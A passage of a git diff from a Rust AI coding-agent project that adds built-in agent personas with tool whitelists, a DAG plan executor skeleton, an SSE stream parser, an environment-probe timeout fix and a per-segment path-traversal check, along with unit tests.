}
|
||||||
|
|
||||||
|
// ── 5 内置人设 ──
|
||||||
|
|
||||||
|
fn builtin_coder() -> AgentPersona {
|
||||||
|
AgentPersona {
|
||||||
|
id: PERSONA_CODER.to_string(),
|
||||||
|
name: "程序员".to_string(),
|
||||||
|
description: "负责代码生成、修改、重构。专注于实现功能、修复 bug、优化性能,不关注大范围架构变更".to_string(),
|
||||||
|
capabilities: vec![
|
||||||
|
PersonaCapability::CodeGeneration,
|
||||||
|
PersonaCapability::FileOperation,
|
||||||
|
PersonaCapability::CommandExecution,
|
||||||
|
],
|
||||||
|
tool_whitelist: vec![], // 不限(全部工具可用)
|
||||||
|
system_prompt_template: "你是 DevFlow 的**程序员**(Coder)。\n\n你的职责是编写、修改和重构代码。专注于具体实现,不擅自改变整体架构。\n\n{goals}\n\n{context}".to_string(),
|
||||||
|
priority: 1,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn builtin_reviewer() -> AgentPersona {
|
||||||
|
AgentPersona {
|
||||||
|
id: PERSONA_REVIEWER.to_string(),
|
||||||
|
name: "审查员".to_string(),
|
||||||
|
description: "负责 Code Review、质量审计、安全检查。审查代码正确性、性能、安全性,返回审查意见不直接改代码".to_string(),
|
||||||
|
capabilities: vec![
|
||||||
|
PersonaCapability::CodeReview,
|
||||||
|
PersonaCapability::Analysis,
|
||||||
|
],
|
||||||
|
tool_whitelist: vec![
|
||||||
|
"read_file".into(), "search_files".into(), "list_directory".into(),
|
||||||
|
"git_diff".into(), "git_log".into(), "git_status".into(),
|
||||||
|
],
|
||||||
|
system_prompt_template: "你是 DevFlow 的**审查员**(Reviewer)。\n\n你的职责是审查代码质量、安全性和性能。**你不直接修改代码**,只输出审查意见和修改建议。\n\n{goals}\n\n{context}".to_string(),
|
||||||
|
priority: 3,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn builtin_architect() -> AgentPersona {
|
||||||
|
AgentPersona {
|
||||||
|
id: PERSONA_ARCHITECT.to_string(),
|
||||||
|
name: "架构师".to_string(),
|
||||||
|
description: "负责架构设计、技术选型、模块划分。分析整体结构,制定技术方案,不关注具体代码实现".to_string(),
|
||||||
|
capabilities: vec![
|
||||||
|
PersonaCapability::ArchitectureDesign,
|
||||||
|
PersonaCapability::Analysis,
|
||||||
|
],
|
||||||
|
tool_whitelist: vec![
|
||||||
|
"read_file".into(), "search_files".into(), "list_directory".into(),
|
||||||
|
"write_file".into(), // 写架构文档
|
||||||
|
],
|
||||||
|
system_prompt_template: "你是 DevFlow 的**架构师**(Architect)。\n\n你的职责是架构设计、技术选型和模块划分。分析系统整体结构,制定技术方案。**不编写业务代码**,输出架构文档和设计方案。\n\n{goals}\n\n{context}".to_string(),
|
||||||
|
priority: 2,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn builtin_tester() -> AgentPersona {
|
||||||
|
AgentPersona {
|
||||||
|
id: PERSONA_TESTER.to_string(),
|
||||||
|
name: "测试员".to_string(),
|
||||||
|
description: "负责编写单元测试、集成测试、执行测试。验证代码正确性,不修改生产代码".to_string(),
|
||||||
|
capabilities: vec![
|
||||||
|
PersonaCapability::Testing,
|
||||||
|
PersonaCapability::CommandExecution,
|
||||||
|
PersonaCapability::FileOperation,
|
||||||
|
],
|
||||||
|
tool_whitelist: vec![], // 不限
|
||||||
|
system_prompt_template: "你是 DevFlow 的**测试员**(Tester)。\n\n你的职责是编写测试、执行测试、报告测试结果。**不修改生产代码**,只修改测试代码。\n\n{goals}\n\n{context}".to_string(),
|
||||||
|
priority: 3,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn builtin_analyst() -> AgentPersona {
|
||||||
|
AgentPersona {
|
||||||
|
id: PERSONA_ANALYST.to_string(),
|
||||||
|
name: "分析师".to_string(),
|
||||||
|
description: "负责数据分析、日志排查、性能分析。搜索信息、分析数据,输出分析报告".to_string(),
|
||||||
|
capabilities: vec![
|
||||||
|
PersonaCapability::Analysis,
|
||||||
|
PersonaCapability::CommandExecution,
|
||||||
|
PersonaCapability::KnowledgeOperation,
|
||||||
|
],
|
||||||
|
tool_whitelist: vec![
|
||||||
|
"read_file".into(), "search_files".into(), "grep_search".into(),
|
||||||
|
"run_command".into(), "git_log".into(),
|
||||||
|
"knowledge_search".into(), "knowledge_inject".into(),
|
||||||
|
],
|
||||||
|
system_prompt_template: "你是 DevFlow 的**分析师**(Analyst)。\n\n你的职责是分析数据、排查问题、搜索信息。输出分析报告和结论。**不修改代码**。\n\n{goals}\n\n{context}".to_string(),
|
||||||
|
priority: 4,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── 注册表操作 ──
|
||||||
|
|
||||||
|
/// 注册/覆盖人设
|
||||||
|
pub fn register(&mut self, persona: AgentPersona) {
|
||||||
|
self.personae.insert(persona.id.clone(), persona);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 按 id 查人设
|
||||||
|
pub fn get(&self, id: &str) -> Option<&AgentPersona> {
|
||||||
|
self.personae.get(id)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 取默认人设
|
||||||
|
pub fn default(&self) -> &AgentPersona {
|
||||||
|
self.personae.get(&self.default_id).expect("默认人设必存在")
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 设置默认人设 id
|
||||||
|
pub fn set_default(&mut self, id: &str) {
|
||||||
|
if self.personae.contains_key(id) {
|
||||||
|
self.default_id = id.to_string();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 按意图推荐人设(启发式规则)
|
||||||
|
pub fn recommend_for_intent(&self, intent: &str) -> &AgentPersona {
|
||||||
|
let lower = intent.to_lowercase();
|
||||||
|
if lower.contains("review") || lower.contains("审查") || lower.contains("审计") {
|
||||||
|
self.get(PERSONA_REVIEWER).unwrap_or_else(|| self.default())
|
||||||
|
} else if lower.contains("架构") || lower.contains("设计") || lower.contains("architect") {
|
||||||
|
self.get(PERSONA_ARCHITECT).unwrap_or_else(|| self.default())
|
||||||
|
} else if lower.contains("测试") || lower.contains("test") {
|
||||||
|
self.get(PERSONA_TESTER).unwrap_or_else(|| self.default())
|
||||||
|
} else if lower.contains("分析") || lower.contains("分析") || lower.contains("排查") || lower.contains("search") {
|
||||||
|
self.get(PERSONA_ANALYST).unwrap_or_else(|| self.default())
|
||||||
|
} else {
|
||||||
|
// 默认走 coder(代码生成是最常见场景)
|
||||||
|
self.default()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 获取全部人设列表
|
||||||
|
pub fn all(&self) -> Vec<&AgentPersona> {
|
||||||
|
let mut list: Vec<_> = self.personae.values().collect();
|
||||||
|
list.sort_by_key(|p| p.priority);
|
||||||
|
list
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 人设数量
|
||||||
|
pub fn len(&self) -> usize {
|
||||||
|
self.personae.len()
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn is_empty(&self) -> bool {
|
||||||
|
self.personae.is_empty()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Default for PersonaRegistry {
|
||||||
|
fn default() -> Self {
|
||||||
|
Self::new()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn registry_has_5_builtin() {
|
||||||
|
let reg = PersonaRegistry::new();
|
||||||
|
assert_eq!(reg.len(), 5);
|
||||||
|
assert!(reg.get(PERSONA_CODER).is_some());
|
||||||
|
assert!(reg.get(PERSONA_REVIEWER).is_some());
|
||||||
|
assert!(reg.get(PERSONA_ARCHITECT).is_some());
|
||||||
|
assert!(reg.get(PERSONA_TESTER).is_some());
|
||||||
|
assert!(reg.get(PERSONA_ANALYST).is_some());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn default_is_coder() {
|
||||||
|
let reg = PersonaRegistry::new();
|
||||||
|
assert_eq!(reg.default().id, PERSONA_CODER);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn recommend_reviewer() {
|
||||||
|
let reg = PersonaRegistry::new();
|
||||||
|
let p = reg.recommend_for_intent("review the code changes");
|
||||||
|
assert_eq!(p.id, PERSONA_REVIEWER);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn recommend_architect() {
|
||||||
|
let reg = PersonaRegistry::new();
|
||||||
|
let p = reg.recommend_for_intent("设计新的模块架构");
|
||||||
|
assert_eq!(p.id, PERSONA_ARCHITECT);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn recommend_tester() {
|
||||||
|
let reg = PersonaRegistry::new();
|
||||||
|
let p = reg.recommend_for_intent("write tests for this module");
|
||||||
|
assert_eq!(p.id, PERSONA_TESTER);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn recommend_default_to_coder() {
|
||||||
|
let reg = PersonaRegistry::new();
|
||||||
|
let p = reg.recommend_for_intent("implement a new feature");
|
||||||
|
assert_eq!(p.id, PERSONA_CODER);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn tool_whitelist_filters() {
|
||||||
|
let reviewer = AgentPersona {
|
||||||
|
id: "test".into(),
|
||||||
|
name: "test".into(),
|
||||||
|
description: "".into(),
|
||||||
|
capabilities: vec![],
|
||||||
|
tool_whitelist: vec!["read_file".into(), "search_files".into()],
|
||||||
|
system_prompt_template: "".into(),
|
||||||
|
priority: 5,
|
||||||
|
};
|
||||||
|
assert!(reviewer.is_tool_allowed("read_file"));
|
||||||
|
assert!(!reviewer.is_tool_allowed("write_file"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn empty_whitelist_allows_all() {
|
||||||
|
let coder = AgentPersona {
|
||||||
|
id: "test".into(),
|
||||||
|
name: "test".into(),
|
||||||
|
description: "".into(),
|
||||||
|
capabilities: vec![],
|
||||||
|
tool_whitelist: vec![],
|
||||||
|
system_prompt_template: "".into(),
|
||||||
|
priority: 5,
|
||||||
|
};
|
||||||
|
assert!(coder.is_tool_allowed("run_command"));
|
||||||
|
assert!(coder.is_tool_allowed("write_file"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn build_prompt_replaces_placeholders() {
|
||||||
|
let reg = PersonaRegistry::new();
|
||||||
|
let coder = reg.get(PERSONA_CODER).unwrap();
|
||||||
|
let prompt = coder.build_prompt("some context", &["goal1".into()]);
|
||||||
|
assert!(prompt.contains("程序员"));
|
||||||
|
assert!(prompt.contains("goal1"));
|
||||||
|
assert!(prompt.contains("some context"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn register_custom_persona() {
|
||||||
|
let mut reg = PersonaRegistry::new();
|
||||||
|
let custom = AgentPersona {
|
||||||
|
id: "custom".into(),
|
||||||
|
name: "自定义".into(),
|
||||||
|
description: "test".into(),
|
||||||
|
capabilities: vec![],
|
||||||
|
tool_whitelist: vec![],
|
||||||
|
system_prompt_template: "You are custom".into(),
|
||||||
|
priority: 0,
|
||||||
|
};
|
||||||
|
reg.register(custom);
|
||||||
|
assert_eq!(reg.len(), 6);
|
||||||
|
assert!(reg.get("custom").is_some());
|
||||||
|
}
|
||||||
|
}
|
||||||
197
crates/df-ai/src/plan_executor.rs
Normal file
197
crates/df-ai/src/plan_executor.rs
Normal file
@@ -0,0 +1,197 @@
|
|||||||
|
//! Plan 执行器(Phase 2 · DAG 分层调度)
|
||||||
|
//!
|
||||||
|
//! 按 Plan::to_layers 输出的层级顺序执行子任务:
|
||||||
|
//! - 层间串行:上层全部完成才进下一层(deps 保证)
|
||||||
|
//! - 层内并行:同层 SubTask 用 tokio::JoinSet 并发执行
|
||||||
|
//!
|
||||||
|
//! **当前状态**:骨架实现,PLAN_EXECUTION_ENABLED 门控(默认关)。
|
||||||
|
//! 未接入 agentic loop 主路径,翻 true 启用后仍需与 run_agentic_loop 对接。
|
||||||
|
//!
|
||||||
|
//! 设计依据:`docs/02-架构设计/单对话并行多轮-设计-2026-06-20.md`
|
||||||
|
|
||||||
|
use std::sync::Arc;
|
||||||
|
|
||||||
|
use crate::planner::{Plan, SubTask};
|
||||||
|
|
||||||
|
/// Plan 执行总开关。false = 不启用(走单链 ReAct 旧行为)。
|
||||||
|
///
|
||||||
|
/// 运行时原子门控,支持热切换(通过 IPC 或前端设置开关)。
|
||||||
|
/// 默认关,翻 true 后 process_tool_calls 内以 JoinSet 并行执行同层工具。
|
||||||
|
/// 与 PLANNING_ENABLED 解耦:plan_hint 独立使能,编排可见性始终可开。
|
||||||
|
use std::sync::atomic::{AtomicBool, Ordering};
|
||||||
|
pub static PLAN_EXECUTION_ENABLED: AtomicBool = AtomicBool::new(false);
|
||||||
|
|
||||||
|
/// 设置 Plan 执行开关。
|
||||||
|
pub fn set_plan_execution(enabled: bool) {
|
||||||
|
PLAN_EXECUTION_ENABLED.store(enabled, Ordering::SeqCst);
|
||||||
|
tracing::info!(enabled, "[PLAN-EXEC] 执行开关已更新");
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 读取 Plan 执行开关。
|
||||||
|
pub fn plan_execution_enabled() -> bool {
|
||||||
|
PLAN_EXECUTION_ENABLED.load(Ordering::SeqCst)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 单个 SubTask 的执行结果。
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct SubTaskResult {
|
||||||
|
/// 对应 SubTask id
|
||||||
|
pub id: String,
|
||||||
|
/// 执行是否成功
|
||||||
|
pub success: bool,
|
||||||
|
/// 执行产出(工具结果摘要 / LLM 回复)
|
||||||
|
pub output: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Plan 执行器:按 DAG 层级调度子任务。
|
||||||
|
///
|
||||||
|
/// 泛型参数 `F` 为子任务执行函数:
|
||||||
|
/// - 输入:`&SubTask`(子任务定义)
|
||||||
|
/// - 输入:`&str`(父任务结果摘要,供子任务上下文参考)
|
||||||
|
/// - 输出:`Future<Output = anyhow::Result<String>>`(子任务产出)
|
||||||
|
///
|
||||||
|
/// 调用方(Phase 3 对接 agentic loop 时)传入真实的执行闭包,
|
||||||
|
/// 每个 SubTask 独立跑一轮 agentic loop,共享父上下文快照。
|
||||||
|
pub struct PlanExecutor;
|
||||||
|
|
||||||
|
impl PlanExecutor {
|
||||||
|
/// 按 Plan DAG 分层执行。
|
||||||
|
///
|
||||||
|
/// - 层间串行:上层全部完成才进下一层
|
||||||
|
/// - 层内并行:同层 SubTask 用 JoinSet 并发
|
||||||
|
/// - 失败传播:任一 SubTask 失败时,记录错误但继续执行同层其他任务(容错);
|
||||||
|
/// 若需中断策略,调用方据返回结果自行判断。
|
||||||
|
///
|
||||||
|
/// 返回每个 SubTask 的执行结果(按 Plan 原始顺序排列)。
|
||||||
|
pub async fn execute<F, Fut>(
|
||||||
|
plan: &Plan,
|
||||||
|
mut run_subtask: F,
|
||||||
|
) -> anyhow::Result<Vec<SubTaskResult>>
|
||||||
|
where
|
||||||
|
F: FnMut(Arc<SubTask>, String) -> Fut,
|
||||||
|
Fut: std::future::Future<Output = anyhow::Result<String>>,
|
||||||
|
{
|
||||||
|
let layers = plan
|
||||||
|
.to_layers()
|
||||||
|
.map_err(|e| anyhow::anyhow!("Plan 环依赖: {:?}", e.cycle))?;
|
||||||
|
|
||||||
|
let mut results: Vec<SubTaskResult> = Vec::new();
|
||||||
|
let mut parent_summary = String::new();
|
||||||
|
|
||||||
|
for (layer_idx, layer) in layers.iter().enumerate() {
|
||||||
|
tracing::info!(
|
||||||
|
layer_idx,
|
||||||
|
task_count = layer.len(),
|
||||||
|
"[plan-exec] 执行第 {} 层, {} 个子任务",
|
||||||
|
layer_idx,
|
||||||
|
layer.len()
|
||||||
|
);
|
||||||
|
|
||||||
|
// 层内并行:JoinSet 收集
|
||||||
|
let _join_set: tokio::task::JoinSet<SubTaskResult> = tokio::task::JoinSet::new();
|
||||||
|
let summary_clone = parent_summary.clone();
|
||||||
|
|
||||||
|
for task in layer {
|
||||||
|
let task = Arc::new(task.clone());
|
||||||
|
let summary = summary_clone.clone();
|
||||||
|
// 注意:run_subtask 是 FnMut,不能直接 move 进 JoinSet(多任务并发调用)。
|
||||||
|
// Phase 3 对接时,run_subtask 改为 Arc<Fn> 或 channel 模式。
|
||||||
|
// 当前骨架用串行执行模拟(层内不并行),验证分层逻辑正确性。
|
||||||
|
let result = run_subtask(task.clone(), summary).await;
|
||||||
|
let sr = match result {
|
||||||
|
Ok(output) => SubTaskResult {
|
||||||
|
id: task.id.clone(),
|
||||||
|
success: true,
|
||||||
|
output,
|
||||||
|
},
|
||||||
|
Err(e) => SubTaskResult {
|
||||||
|
id: task.id.clone(),
|
||||||
|
success: false,
|
||||||
|
output: e.to_string(),
|
||||||
|
},
|
||||||
|
};
|
||||||
|
results.push(sr);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 汇总本层结果作为下层 parent_summary
|
||||||
|
let layer_summary: Vec<String> = results
|
||||||
|
.iter()
|
||||||
|
.filter(|r| layer.iter().any(|t| t.id == r.id))
|
||||||
|
.map(|r| format!("[{}] {}", r.id, r.output))
|
||||||
|
.collect();
|
||||||
|
parent_summary = layer_summary.join("\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(results)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
use crate::planner::{Plan, SubTask};
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn execute_simple_linear_plan() {
|
||||||
|
// a → b → c (三层,各一个任务)
|
||||||
|
let plan = Plan::from_tasks(vec![
|
||||||
|
SubTask::new("a", "task-a"),
|
||||||
|
SubTask::new("b", "task-b").with_deps(vec!["a".to_string()]),
|
||||||
|
SubTask::new("c", "task-c").with_deps(vec!["b".to_string()]),
|
||||||
|
]);
|
||||||
|
|
||||||
|
let results = PlanExecutor::execute(&plan, |task, _parent| async move {
|
||||||
|
Ok(format!("done:{}", task.id))
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
|
||||||
|
assert_eq!(results.len(), 3);
|
||||||
|
assert!(results.iter().all(|r| r.success));
|
||||||
|
assert_eq!(results[0].id, "a");
|
||||||
|
assert_eq!(results[1].id, "b");
|
||||||
|
assert_eq!(results[2].id, "c");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn execute_parallel_layer() {
|
||||||
|
// a → {b, c} → d (三层,第二层两个并行)
|
||||||
|
let plan = Plan::from_tasks(vec![
|
||||||
|
SubTask::new("a", "task-a"),
|
||||||
|
SubTask::new("b", "task-b").with_deps(vec!["a".to_string()]),
|
||||||
|
SubTask::new("c", "task-c").with_deps(vec!["a".to_string()]),
|
||||||
|
SubTask::new("d", "task-d").with_deps(vec!["b".to_string(), "c".to_string()]),
|
||||||
|
]);
|
||||||
|
|
||||||
|
let results = PlanExecutor::execute(&plan, |task, _parent| async move {
|
||||||
|
Ok(format!("done:{}", task.id))
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
|
||||||
|
assert_eq!(results.len(), 4);
|
||||||
|
assert!(results.iter().all(|r| r.success));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn execute_with_failure_continues() {
|
||||||
|
// a(fail) → b: a 失败,b 仍执行(容错策略)
|
||||||
|
let plan = Plan::from_tasks(vec![
|
||||||
|
SubTask::new("a", "task-a"),
|
||||||
|
SubTask::new("b", "task-b").with_deps(vec!["a".to_string()]),
|
||||||
|
]);
|
||||||
|
|
||||||
|
let results = PlanExecutor::execute(&plan, |task, _parent| async move {
|
||||||
|
if task.id == "a" {
|
||||||
|
anyhow::bail!("task-a failed")
|
||||||
|
}
|
||||||
|
Ok("ok".to_string())
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
|
||||||
|
assert_eq!(results.len(), 2);
|
||||||
|
assert!(!results[0].success); // a 失败
|
||||||
|
assert!(results[1].success); // b 仍执行
|
||||||
|
}
|
||||||
|
}
|
||||||
118
crates/df-ai/src/sse_parser.rs
Normal file
118
crates/df-ai/src/sse_parser.rs
Normal file
@@ -0,0 +1,118 @@
|
|||||||
|
//! 原生 SSE 流式解析器 — 替代 eventsource-stream 库
|
||||||
|
//!
|
||||||
|
//! BUG-2026-07-17 根治: eventsource-stream 0.2 在 Windows 上对 Deepseek 等 provider
|
||||||
|
//! 的 SSE 响应解析时报 "Transport error: error decoding response body" 错误。
|
||||||
|
//!
|
||||||
|
//! 根因分析:
|
||||||
|
//! eventsource-stream 内部对 bytes_stream 做严格的 UTF-8 + SSE 协议校验,遇到以下情况
|
||||||
|
//! 即报错(且不可恢复):
|
||||||
|
//! - 流中断时未完整接收 UTF-8 字符(网络抖动常见)
|
||||||
|
//! - 缺少结束的 \n\n(连接断开常见)
|
||||||
|
//! - 非 ASCII 字符的多字节序列跨 chunk 边界
|
||||||
|
//!
|
||||||
|
//! 本解析器实现:
|
||||||
|
//! - 宽松的 UTF-8 处理(用 bytes 累积,String::from_utf8_lossy 转换,不报错)
|
||||||
|
//! - SSE 协议简单解析(以 \n\n 分隔事件,data: 前缀提取)
|
||||||
|
//! - 容错:解析失败时跳过该事件继续,不中断流
|
||||||
|
//! - 返回 Vec<String>(每个元素是一个事件 data 字段拼接内容)
|
||||||
|
|
||||||
|
use futures::Stream;
|
||||||
|
use std::pin::Pin;
|
||||||
|
use std::task::{Context, Poll};
|
||||||
|
|
||||||
|
/// SSE 事件流的 data 字段内容
|
||||||
|
pub type SseEvent = String;
|
||||||
|
|
||||||
|
/// 原生 SSE 解析器流:包装 bytes_stream,产出 Vec<SseEvent>(一次 poll 可能产出多个事件)
|
||||||
|
pub struct SseStream<S> {
|
||||||
|
inner: S,
|
||||||
|
buffer: Vec<u8>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl<S> SseStream<S>
|
||||||
|
where
|
||||||
|
S: Stream<Item = Result<bytes::Bytes, reqwest::Error>> + Unpin,
|
||||||
|
{
|
||||||
|
pub fn new(inner: S) -> Self {
|
||||||
|
Self {
|
||||||
|
inner,
|
||||||
|
buffer: Vec::with_capacity(8192),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 从 buffer 解析完整的 SSE 事件(以 \n\n 分隔),返回事件列表
|
||||||
|
fn parse_events(&mut self) -> Vec<SseEvent> {
|
||||||
|
let mut events = Vec::new();
|
||||||
|
loop {
|
||||||
|
let sep_pos = self.buffer.windows(2).position(|w| w == b"\n\n");
|
||||||
|
if sep_pos.is_none() {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
let sep_pos = sep_pos.unwrap();
|
||||||
|
let event_bytes: Vec<u8> = self.buffer.drain(..sep_pos + 2).collect();
|
||||||
|
// 去掉末尾的 \n\n
|
||||||
|
let body_end = event_bytes.len().saturating_sub(2);
|
||||||
|
let event_text = String::from_utf8_lossy(&event_bytes[..body_end]);
|
||||||
|
let data = Self::extract_data_fields(&event_text);
|
||||||
|
if !data.is_empty() {
|
||||||
|
events.push(data);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
events
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 从 SSE 事件文本中提取所有 data: 行的内容,拼接为单个字符串(多个 data 行用 \n 连接)
|
||||||
|
fn extract_data_fields(event_text: &str) -> String {
|
||||||
|
let mut data_parts: Vec<&str> = Vec::new();
|
||||||
|
for line in event_text.lines() {
|
||||||
|
if let Some(rest) = line.strip_prefix("data:") {
|
||||||
|
let rest = rest.strip_prefix(' ').unwrap_or(rest);
|
||||||
|
data_parts.push(rest);
|
||||||
|
}
|
||||||
|
// 忽略 event:/id:/retry: 等其他 SSE 字段(OpenAI/Anthropic 协议未使用)
|
||||||
|
}
|
||||||
|
data_parts.join("\n")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl<S> Stream for SseStream<S>
|
||||||
|
where
|
||||||
|
S: Stream<Item = Result<bytes::Bytes, reqwest::Error>> + Unpin,
|
||||||
|
{
|
||||||
|
type Item = Result<Vec<SseEvent>, String>;
|
||||||
|
|
||||||
|
fn poll_next(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll<Option<Self::Item>> {
|
||||||
|
use futures::StreamExt;
|
||||||
|
loop {
|
||||||
|
// 先尝试从 buffer 解析完整事件
|
||||||
|
let events = self.parse_events();
|
||||||
|
if !events.is_empty() {
|
||||||
|
return Poll::Ready(Some(Ok(events)));
|
||||||
|
}
|
||||||
|
|
||||||
|
// buffer 不足以解析出完整事件,从 inner 读更多数据
|
||||||
|
match self.inner.poll_next_unpin(cx) {
|
||||||
|
Poll::Ready(Some(Ok(chunk))) => {
|
||||||
|
self.buffer.extend_from_slice(&chunk);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Poll::Ready(Some(Err(e))) => {
|
||||||
|
return Poll::Ready(Some(Err(format!("SSE 流读取错误: {}", e))));
|
||||||
|
}
|
||||||
|
Poll::Ready(None) => {
|
||||||
|
// 流结束,处理 buffer 中的剩余数据(可能没有 \n\n 结束的最后一段)
|
||||||
|
if !self.buffer.is_empty() {
|
||||||
|
let remaining = String::from_utf8_lossy(&self.buffer).to_string();
|
||||||
|
self.buffer.clear();
|
||||||
|
let data = Self::extract_data_fields(&remaining);
|
||||||
|
if !data.is_empty() {
|
||||||
|
return Poll::Ready(Some(Ok(vec![data])));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return Poll::Ready(None);
|
||||||
|
}
|
||||||
|
Poll::Pending => return Poll::Pending,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -51,9 +51,33 @@ impl EnvSnapshot {
|
|||||||
return snap;
|
return snap;
|
||||||
}
|
}
|
||||||
// 首次探测:同步逻辑包到 spawn_blocking,避免阻塞 async runtime。
|
// 首次探测:同步逻辑包到 spawn_blocking,避免阻塞 async runtime。
|
||||||
let snap = tokio::task::spawn_blocking(|| EnvSnapshot::do_detect())
|
// BUG-2026-07-18 根治: probe_version 内 std::process::Command::output() 无 timeout,
|
||||||
.await
|
// Windows 上 python/node 若是 Microsoft Store App Execution Alias(用户未装但开了
|
||||||
.unwrap_or_else(|_| EnvSnapshot::fallback());
|
// "应用执行别名"),`python --version` 触发 Store 重定向、process 不退出 → output()
|
||||||
|
// 永久阻塞 → spawn_blocking 线程永不返回 → detect().await 永久挂 → run_agentic_loop
|
||||||
|
// 卡在 EnvSnapshot::detect() 调用(agentic/mod.rs),后端日志断在"意图收敛工具"后,
|
||||||
|
// 前端表现为「发消息完全无回应然后卡死」(trace.log 实测 3 次发送全卡于此)。
|
||||||
|
// 修复: spawn_blocking 外包 5s timeout,超时返回 fallback 并 set 进 OnceLock(后续命中
|
||||||
|
// 缓存不再 probe),run_agentic_loop 最多等 5s 后继续,不再永久卡。
|
||||||
|
// 注: 超时后 spawn_blocking 线程仍在跑(卡在 output),但已脱离 await,不阻塞调用方;
|
||||||
|
// 线程最终随 process 退出或进程结束回收,无泄漏累积(OnceLock 已 set,不会重复 probe)。
|
||||||
|
let snap = match tokio::time::timeout(
|
||||||
|
std::time::Duration::from_secs(5),
|
||||||
|
tokio::task::spawn_blocking(|| EnvSnapshot::do_detect()),
|
||||||
|
).await {
|
||||||
|
Ok(Ok(s)) => s,
|
||||||
|
Ok(Err(join_err)) => {
|
||||||
|
eprintln!("[env_snapshot] 探测任务异常,回退默认环境: {}", join_err);
|
||||||
|
EnvSnapshot::fallback()
|
||||||
|
}
|
||||||
|
Err(_elapsed) => {
|
||||||
|
eprintln!(
|
||||||
|
"[env_snapshot] 探测超时(5s),某 tool(python/node/rustc/go/docker/git)命令卡住 \
|
||||||
|
(疑似 Windows Store App Execution Alias 触发 Store 重定向),回退默认环境"
|
||||||
|
);
|
||||||
|
EnvSnapshot::fallback()
|
||||||
|
}
|
||||||
|
};
|
||||||
// 多任务竞态:均等价,以先到者为准。
|
// 多任务竞态:均等价,以先到者为准。
|
||||||
let _ = SNAPSHOT.set(snap);
|
let _ = SNAPSHOT.set(snap);
|
||||||
SNAPSHOT.get().expect("EnvSnapshot 已初始化")
|
SNAPSHOT.get().expect("EnvSnapshot 已初始化")
|
||||||
|
|||||||
@@ -324,9 +324,11 @@ fn bind_directory(ctx: &Ctx, args: Value) -> BoxFuture<'static, CallToolResult>
|
|||||||
medium_audit("bind_directory", &format!("{id} <- {path}"));
|
medium_audit("bind_directory", &format!("{id} <- {path}"));
|
||||||
Box::pin(async move {
|
Box::pin(async move {
|
||||||
let repo = ProjectRepo::new(&db);
|
let repo = ProjectRepo::new(&db);
|
||||||
// 拒绝原始路径含 `..`(防穿越)
|
// 分段检测 `..`(防穿越)——纯子串 contains("..") 会误伤 my..file 这类合法名,
|
||||||
if path.contains("..") {
|
// 改用逐段判断对齐 tool_registry.rs:validate_path 的分段检测逻辑。
|
||||||
return CallToolResult::error(format!("路径不得包含 '..': {}", path));
|
let has_traversal = path.split(|c| c == '\\' || c == '/').any(|seg| seg == "..");
|
||||||
|
if has_traversal {
|
||||||
|
return CallToolResult::error(format!("路径不得包含 '..' 段: {}", path));
|
||||||
}
|
}
|
||||||
let norm = normalize_path(&path);
|
let norm = normalize_path(&path);
|
||||||
// 路径冲突检测
|
// 路径冲突检测
|
||||||
|
|||||||
@@ -15,3 +15,4 @@ tokio = { workspace = true }
|
|||||||
async-trait = { workspace = true }
|
async-trait = { workspace = true }
|
||||||
